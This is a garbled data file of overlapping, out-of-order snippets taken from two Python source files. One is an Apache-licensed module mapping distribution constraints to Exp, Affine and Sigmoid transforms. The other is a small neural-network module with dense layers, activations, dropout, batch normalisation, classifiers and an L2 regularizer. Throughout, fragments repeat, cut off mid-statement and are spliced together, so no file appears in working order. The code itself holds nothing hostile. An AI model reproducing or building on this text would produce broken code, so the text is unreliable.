function that outputs a `transformation` given a `constraint`, by default None. \"\"\"", "given domain. \"\"\" from numbers import Number from .transformation import ( ExpTransform, AffineTransform,", "# specific language governing permissions and limitations # under the License. # coding:", "# Decorator mode if factory is None: return lambda factory: self.register(constraint, factory) if", "class domain_map(): \"\"\" Abstract Class for registering and storing mappings from domain to", "biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint`", "Constraint): constraint = type(constraint) if not isinstance(constraint, type) or not issubclass(constraint, Constraint): raise", "lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound == 0 upper_is_1 = isinstance(constraint._upper_bound, Number) and", "The ASF licenses this file # to you under the Apache License, Version", "file except in compliance # with the License. You may obtain a copy", "file # to you under the Apache License, Version 2.0 (the # \"License\");", "# we decide to keep it for the purpose of consistency. # pylint:", "we decide to keep it for the purpose of consistency. # pylint: disable=unused-argument", "@biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval) @biject_to.register(HalfOpenInterval) @transform_to.register(Interval) @transform_to.register(HalfOpenInterval) def", "disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)])", "-> transformation self._storage = {} super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register a", "SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound - constraint._lower_bound return ComposeTransform([SigmoidTransform(), AffineTransform(loc, scale)])", "(the # \"License\"); you may not use this file except in compliance #", "@biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is not used in this factory", "@biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint):", "used in this factory function, # we decide to keep it for the", "self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to =", "law or agreed to in writing, # software distributed under the License is", "# software distributed under the License is distributed on an # \"AS IS\"", "to you under the Apache License, Version 2.0 (the # \"License\"); you may", "Number from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint,", "file # distributed with this work for additional information # regarding copyright ownership.", "# Licensed to the Apache Software Foundation (ASF) under one # or more", ": callable A function that outputs a `transformation` given a `constraint`, by default", "Number) and constraint._upper_bound == 1 if lower_is_0 and upper_is_1: return SigmoidTransform() loc =", "domain specified by `constraint`. Parameters ---------- constraint : Type or Object A class", "and storing bijection/transformations from unconstrained space to a given domain. \"\"\" from numbers", "`transformation` given a `constraint`, by default None. \"\"\" # Decorator mode if factory", "copyright ownership. The ASF licenses this file # to you under the Apache", "ownership. The ASF licenses this file # to you under the Apache License,", "import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq,", "factory return factory def __call__(self, constraint): try: factory = self._storage[type(constraint)] except KeyError: raise", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "# Unless required by applicable law or agreed to in writing, # software", "@transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "and limitations # under the License. # coding: utf-8 \"\"\"Classes for registering and", "_transform_to_positive(constraint): # Although `constraint` is not used in this factory function, # we", "to in writing, # software distributed under the License is distributed on an", "an object of constraint factory : callable A function that outputs a `transformation`", "agreed to in writing, # software distributed under the License is distributed on", "by `constraint`. Parameters ---------- constraint : Type or Object A class of constraint", "\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express", "domain to bijections/transformations \"\"\" def __init__(self): # constraint -> constraint -> transformation self._storage", "def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound,", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "= {} super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained", "to the Apache Software Foundation (ASF) under one # or more contributor license", "GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\"", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in", "0 upper_is_1 = isinstance(constraint._upper_bound, Number) and constraint._upper_bound == 1 if lower_is_0 and upper_is_1:", "Handle the special case of the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and", "the special case of the unit interval. lower_is_0 = isinstance(constraint._lower_bound, Number) and constraint._lower_bound", "in this factory function, # we decide to keep it for the purpose", "{}'.format(constraint)) self._storage[constraint] = factory return factory def __call__(self, constraint): try: factory = self._storage[type(constraint)]", "permissions and limitations # under the License. # coding: utf-8 \"\"\"Classes for registering", "constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint):", "registering and storing bijection/transformations from unconstrained space to a given domain. \"\"\" from", "use this file except in compliance # with the License. You may obtain", "factory is None: return lambda factory: self.register(constraint, factory) if isinstance(constraint, Constraint): constraint =", "' 'but got {}'.format(constraint)) self._storage[constraint] = factory return factory def __call__(self, constraint): try:", "Software Foundation (ASF) under one # or more contributor license agreements. See the", "and storing mappings from domain to bijections/transformations \"\"\" def __init__(self): # constraint ->", "the License is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR", "__init__(self): # constraint -> constraint -> transformation self._storage = {} super(domain_map, self).__init__() def", "be either a Constraint subclass or instance, ' 'but got {}'.format(constraint)) self._storage[constraint] =", "'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class for registering and storing mappings from", "constraint -> transformation self._storage = {} super(domain_map, self).__init__() def register(self, constraint, factory=None): \"\"\"Register", "from unconstrained space to the domain specified by `constraint`. Parameters ---------- constraint :", "constraint factory : callable A function that outputs a `transformation` given a `constraint`,", "domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive) def _transform_to_positive(constraint): # Although `constraint` is not", "registering and storing mappings from domain to bijections/transformations \"\"\" def __init__(self): # constraint", "the # specific language governing permissions and limitations # under the License. #", "return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._upper_bound, -1)]) @biject_to.register(Interval)", "\"\"\" from numbers import Number from .transformation import ( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform)", "See the NOTICE file # distributed with this work for additional information #", "factory function, # we decide to keep it for the purpose of consistency.", "function, # we decide to keep it for the purpose of consistency. #", "is not used in this factory function, # we decide to keep it", "upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale = constraint._upper_bound - constraint._lower_bound return ComposeTransform([SigmoidTransform(),", "..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval, HalfOpenInterval) __all__ = ['domain_map', 'biject_to',", "the NOTICE file # distributed with this work for additional information # regarding", "in writing, # software distributed under the License is distributed on an #", "the Apache Software Foundation (ASF) under one # or more contributor license agreements.", "= self._storage[type(constraint)] except KeyError: raise NotImplementedError( 'Cannot transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to", "mappings from domain to bijections/transformations \"\"\" def __init__(self): # constraint -> constraint ->", "( ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan,", "ExpTransform, AffineTransform, SigmoidTransform, ComposeTransform) from ..distributions.constraint import (Constraint, Positive, GreaterThan, GreaterThanEq, LessThan, Interval,", "space to the domain specified by `constraint`. Parameters ---------- constraint : Type or", "= ['domain_map', 'biject_to', 'transform_to'] class domain_map(): \"\"\" Abstract Class for registering and storing", "\"\"\" # Decorator mode if factory is None: return lambda factory: self.register(constraint, factory)", "return factory def __call__(self, constraint): try: factory = self._storage[type(constraint)] except KeyError: raise NotImplementedError(", "governing permissions and limitations # under the License. # coding: utf-8 \"\"\"Classes for", "constraint = type(constraint) if not isinstance(constraint, type) or not issubclass(constraint, Constraint): raise TypeError('Expected", "storing mappings from domain to bijections/transformations \"\"\" def __init__(self): # constraint -> constraint", "of constraint factory : callable A function that outputs a `transformation` given a", "# under the License. # coding: utf-8 \"\"\"Classes for registering and storing bijection/transformations", "# with the License. You may obtain a copy of the License at", "== 1 if lower_is_0 and upper_is_1: return SigmoidTransform() loc = constraint._lower_bound scale =", "transform {} constraints'.format(type(constraint).__name__)) return factory(constraint) biject_to = domain_map() transform_to = domain_map() @biject_to.register(Positive) @transform_to.register(Positive)", "@transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan) @transform_to.register(LessThan) def _transform_to_less_than(constraint): return ComposeTransform([ExpTransform(),", "Apache License, Version 2.0 (the # \"License\"); you may not use this file", "under one # or more contributor license agreements. See the NOTICE file #", "a Constraint subclass or instance, ' 'but got {}'.format(constraint)) self._storage[constraint] = factory return", "# to you under the Apache License, Version 2.0 (the # \"License\"); you", "required by applicable law or agreed to in writing, # software distributed under", "specific language governing permissions and limitations # under the License. # coding: utf-8", "callable A function that outputs a `transformation` given a `constraint`, by default None.", "from unconstrained space to a given domain. \"\"\" from numbers import Number from", "register(self, constraint, factory=None): \"\"\"Register a bijection/transformation from unconstrained space to the domain specified", "Class for registering and storing mappings from domain to bijections/transformations \"\"\" def __init__(self):", "by applicable law or agreed to in writing, # software distributed under the", "return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan) @transform_to.register(GreaterThanEq) def _transform_to_greater_than(constraint): return ComposeTransform([ExpTransform(), AffineTransform(constraint._lower_bound, 1)]) @biject_to.register(LessThan)", "for additional information # regarding copyright ownership. The ASF licenses this file #", "the License for the # specific language governing permissions and limitations # under", "applicable law or agreed to in writing, # software distributed under the License", "for the purpose of consistency. # pylint: disable=unused-argument return ExpTransform() @biject_to.register(GreaterThan) @biject_to.register(GreaterThanEq) @transform_to.register(GreaterThan)", "the domain specified by `constraint`. Parameters ---------- constraint : Type or Object A", "storing bijection/transformations from unconstrained space to a given domain. \"\"\" from numbers import" ]
[ "classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph = classifier.append(self.layer_names, cost_graph, predict_graph, self.labels)", "def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name = name_generator.generate( self.__class__.__name__).lower()", "..utils import validate from ..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self): self.cost_graph =", "\"_gt\") return cross_entropy, gt class SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes: int):", "= None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self,", "return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node):", "Dim from ..utils import validate from ..utils.naming import NameGenerator class Network(abc.ABC): def __init__(self):", "do_append(self, pos: int, logits: Node, labels: Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer()", "Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator = None def new_var_name(self,", "def __init__(self, cnt_features: int, layers, classifier, regularizer=None): super().__init__() self.layer_names = NameGenerator() self.cnt_features =", "class Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator: NameGenerator, logits: Node, labels: Node):", "predict_graph, beta, gamma, name=self.layer_name + \"_p\") return bnt, bnp, [beta, gamma] class Classifier(SequenceElement,", "from ..core.graph import Node, Graph from ..core.static_shape import Dim from ..utils import validate", "= None def new_var_name(self, prefix): return self.var_name_generator.generate(prefix) def prepare_names(self, name_generator: NameGenerator): self.layer_name =", "= Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator = None def", "== 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos == 0), name=self.layer_name +", "def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is None else", "ValueError(f\"Keep probability should be between 0 and 1\") self.keep_prob = keep_prob def do_append(self,", "self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is None else weight_initializer", "Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos: int, logits: Node,", "f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph,", "do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\")", "return bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name", "name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8):", "def append(self, pos: int, name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos,", "pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class", "if weight_initializer is None else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is", "1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name)", "enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes", "lambd def do_append(self, cost_graph: Node, vars, inputs): dim = f.dim(inputs, name=self.layer_name + \"_dim\")", "+ \"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph):", "f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5,", "cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size,", "self.default_bias_initializer \\ if bias_initializer is None else bias_initializer def do_append(self, pos, cost_g, predict_g):", "Network(abc.ABC): def __init__(self): self.cost_graph = None self.predict_graph = None self.inputs = None self.labels", "Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator =", "predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def", "layer in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes", "None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is None else gamma_initializer", "f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name)", "self.beta_initializer = self.default_beta_initializer \\ if beta_initializer is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer", "self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator: NameGenerator, logits:", "predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\") gamma_name = self.new_var_name(\"gamma\") beta = f.var(beta_name,", "beta = f.var(beta_name, self.beta_initializer, shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt", "name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\") return bnt, bnp,", "Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node,", "name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name", "None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph)", "int, name_generator: NameGenerator, logits: Node, labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod", "= classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder( shape=(self.label_size, self.cnt_samples)) cost_graph, predict_graph =", "cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd", "predict_fc, [w] class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\", "cost_graph, predict_graph): return f.leaky_relu(cost_graph, name=self.layer_name), \\ f.leaky_relu(predict_graph, name=self.layer_name + \"_p\"), \\ [] class", "= self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons,", "not (0 < keep_prob <= 1): raise ValueError(f\"Keep probability should be between 0", "f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid, 0.5, name=self.layer_name + \"_gt\") return cross_entropy, gt", "self.layer_name = name_generator.generate( self.__class__.__name__).lower() self.var_name_generator = NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos:", "+ \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax class Regularizer(SequenceElement,", "= init.ZeroInitializer() default_gamma_initializer = init.OneInitializer() def __init__(self, beta_initializer=None, gamma_initializer=None): self.beta_initializer = self.default_beta_initializer \\", "beta, gamma, name=self.layer_name + \"_p\") return bnt, bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC):", "class ReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.relu(cost_graph, name=self.layer_name), \\ f.relu(predict_graph, name=self.layer_name", "gt class SoftmaxClassifier(Classifier): # TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2)", "labels: Node): self.prepare_names(name_generator) return self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos: int, logits:", "def __init__(self): super().__init__(label_size=1, cnt_classes=2) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): sigmoid", "= cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph: Node, labels: Node): self.prepare_names(name_generator) return", "between 0 and 1\") self.keep_prob = keep_prob def do_append(self, pos, cost_graph, predict_graph): return", "None self.label_size = label_size self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph:", "vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars,", "= f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax = f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy,", "\\ if bias_initializer is None else bias_initializer def do_append(self, pos, cost_g, predict_g): #", "b, first_layer=(pos == 0), name=self.layer_name + \"_p\") return cost_fc, predict_fc, [w] class ReLu(Layer):", "labels) @abc.abstractmethod def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier):", "name=self.layer_name + \"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self, name_generator, cost_graph:", "Node): entropy = f.softmax_cross_entropy(cost_graph, labels, name=self.layer_name) softmax = f.softmax(predict_graph, name=self.layer_name + \"_softmax\") argmax", "b, first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos == 0),", "TODO axis def __init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self,", "is None else beta_initializer self.gamma_initializer = self.default_gamma_initializer \\ if gamma_initializer is None else", "Node, labels: Node): pass class Dense(Layer): default_weight_initializer = init.HeInitializer() default_bias_initializer = init.ZeroInitializer() def", "__init__(self, lambd=0.8): self.lambd = lambd def do_append(self, cost_graph: Node, vars, inputs): dim =", "(0 < keep_prob <= 1): raise ValueError(f\"Keep probability should be between 0 and", "= f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph, labels, name=self.layer_name) gt = f.is_greater_than(sigmoid,", "self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size self.labels = f.placeholder(", "= f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp =", "NameGenerator(self.layer_name) class Layer(SequenceElement, abc.ABC): def append(self, pos: int, name_generator: NameGenerator, logits: Node, labels:", "vars, inputs): pass class L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd def do_append(self,", "cost_g, predict_g): # TODO Allow different axis for the \"features\" and \"examples\" dimension", "for the \"features\" and \"examples\" dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name", "= self.new_var_name(\"W\") b_name = self.new_var_name(\"b\") w = f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b =", "raise ValueError(f\"Keep probability should be between 0 and 1\") self.keep_prob = keep_prob def", "self.layer_name = None self.label_size = label_size self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph:", "2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph: Node, labels: Node): entropy =", "self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate() def initialize_variables(self): self.cost_graph.initialize_variables() def feed_cost_graph(self, x_train, y_train): self.cost_graph.placeholders =", "self.label_size = None self.cnt_classes = None def evaluate(self, x_test): self.predict_graph.placeholders = {self.inputs: x_test}", "vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs): pass class L2Regularizer(Regularizer): def", "predict_graph, regularizable_vars = \\ self.inputs, self.inputs, [] for pos, layer in enumerate(layers): cost_graph,", "= f.argmax(softmax, name=self.layer_name + \"_argmax\") return entropy, argmax class Regularizer(SequenceElement, abc.ABC): def append(self,", "self.do_append(pos, logits, labels) @abc.abstractmethod def do_append(self, pos: int, logits: Node, labels: Node): pass", "class SequenceElement(abc.ABC): def __init__(self): self.layer_name = None self.var_name_generator = None def new_var_name(self, prefix):", "self.cnt_features = Dim.of(cnt_features) self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph,", "int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer = self.default_weight_initializer \\ if weight_initializer is", "= \\ self.inputs, self.inputs, [] for pos, layer in enumerate(layers): cost_graph, predict_graph, vars", "\"features\" and \"examples\" dimension cnt_features = cost_g.shape[0] w_name = self.new_var_name(\"W\") b_name = self.new_var_name(\"b\")", "1)) cost_fc = f.fully_connected(cost_g, w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g,", "f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return", "= {self.inputs: x_test} return self.predict_graph.evaluate() def evaluate_cost(self, x_train, y_train): self.feed_cost_graph(x_train, y_train) return self.cost_graph.evaluate()", "None self.labels = None self.label_size = None self.cnt_classes = None def evaluate(self, x_test):", "self.predict_graph = None self.inputs = None self.labels = None self.label_size = None self.cnt_classes", "= f.l2_norm_regularizer(self.lambd, dim, vars, name=self.layer_name) if self.lambd > 0: return cost_graph + reg", "predict_graph: Node, labels: Node): sigmoid = f.sigmoid(predict_graph, name=self.layer_name + \"_sigmoid\") cross_entropy = f.sigmoid_cross_entropy(cost_graph,", "None else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is None else bias_initializer", "\\ if weight_initializer is None else weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer", "__init__(self, classes: int): validate.is_strictly_greater_than(\"classes\", classes, 2) super().__init__(label_size=classes, cnt_classes=classes) def do_append(self, cost_graph: Node, predict_graph:", "return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph: Node, vars, inputs): pass class", "self.inputs, [] for pos, layer in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos, self.layer_names,", "+ \"_p\"), \\ [] class Dropout(Layer): def __init__(self, keep_prob=0.8): if not (0 <", "regularizer is not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph)", "bnp, [beta, gamma] class Classifier(SequenceElement, abc.ABC): def __init__(self, label_size, cnt_classes): self.layer_name = None", "f, initializers as init from ..core.graph import Node, Graph from ..core.static_shape import Dim", "self.labels) if regularizer is not None: cost_graph = regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph", "Node, labels: Node): self.prepare_names(name_generator) return self.do_append(cost_graph, predict_graph, labels) @abc.abstractmethod def do_append(self, cost_graph: Node,", "else gamma_initializer def do_append(self, pos, cost_graph, predict_graph): cnt_features = cost_graph.shape[0] beta_name = self.new_var_name(\"beta\")", "do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph, [] class BatchNorm(Layer):", "cost_graph: Node, vars, inputs): self.prepare_names(name_generator) return self.do_append(cost_graph, vars, inputs) @abc.abstractmethod def do_append(self, cost_graph:", "< keep_prob <= 1): raise ValueError(f\"Keep probability should be between 0 and 1\")", "= keep_prob def do_append(self, pos, cost_graph, predict_graph): return f.dropout(self.keep_prob, cost_graph, name=self.layer_name), \\ predict_graph,", "gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma, name=self.layer_name) bnp", "= init.ZeroInitializer() def __init__(self, neurons: int, weight_initializer=None, bias_initializer=None): self.neurons = neurons self.weight_initializer =", "shape=(cnt_features, 1)) gamma = f.var(gamma_name, self.gamma_initializer, shape=(cnt_features, 1)) bnt = f.batch_norm_train(cost_graph, beta, gamma,", "name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph): return f.leaky_relu(cost_graph,", "label_size self.cnt_classes = cnt_classes def append(self, name_generator, cost_graph: Node, predict_graph: Node, labels: Node):", "import abc from ..core import node_factory as f, initializers as init from ..core.graph", "# TODO Allow different axis for the \"features\" and \"examples\" dimension cnt_features =", "<filename>chains/front/network.py import abc from ..core import node_factory as f, initializers as init from", "vars = layer.append(pos, self.layer_names, cost_graph, predict_graph) regularizable_vars.extend(vars) self.cnt_classes = classifier.cnt_classes self.label_size = classifier.label_size", "\\ f.relu(predict_graph, name=self.layer_name + \"_p\"), [] class LeakyReLu(Layer): def do_append(self, pos, cost_graph, predict_graph):", "gamma, name=self.layer_name) bnp = f.batch_norm_predict(bnt.op, predict_graph, beta, gamma, name=self.layer_name + \"_p\") return bnt,", "self.cnt_samples = Dim.unknown() self.inputs = f.placeholder( shape=(self.cnt_features, self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\", "node_factory as f, initializers as init from ..core.graph import Node, Graph from ..core.static_shape", "weight_initializer self.bias_initializer = self.default_bias_initializer \\ if bias_initializer is None else bias_initializer def do_append(self,", "w, b, first_layer=(pos == 0), name=self.layer_name) predict_fc = f.fully_connected(predict_g, w, b, first_layer=(pos ==", "Node, predict_graph: Node, labels: Node): pass class SigmoidBinaryClassifier(Classifier): def __init__(self): super().__init__(label_size=1, cnt_classes=2) def", "..core import node_factory as f, initializers as init from ..core.graph import Node, Graph", "regularizer.append(self.layer_names, cost_graph, regularizable_vars, self.inputs) self.cost_graph = Graph(cost_graph) self.predict_graph = Graph(predict_graph) class SequenceElement(abc.ABC): def", "self.cnt_samples)) cost_graph, predict_graph, regularizable_vars = \\ self.inputs, self.inputs, [] for pos, layer in", "L2Regularizer(Regularizer): def __init__(self, lambd=0.8): self.lambd = lambd def do_append(self, cost_graph: Node, vars, inputs):", "f.var(w_name, self.weight_initializer, shape=(self.neurons, cnt_features)) b = f.var(b_name, self.bias_initializer, shape=(self.neurons, 1)) cost_fc = f.fully_connected(cost_g,", "self.inputs, self.inputs, [] for pos, layer in enumerate(layers): cost_graph, predict_graph, vars = layer.append(pos,", "pass class Dense(Layer): 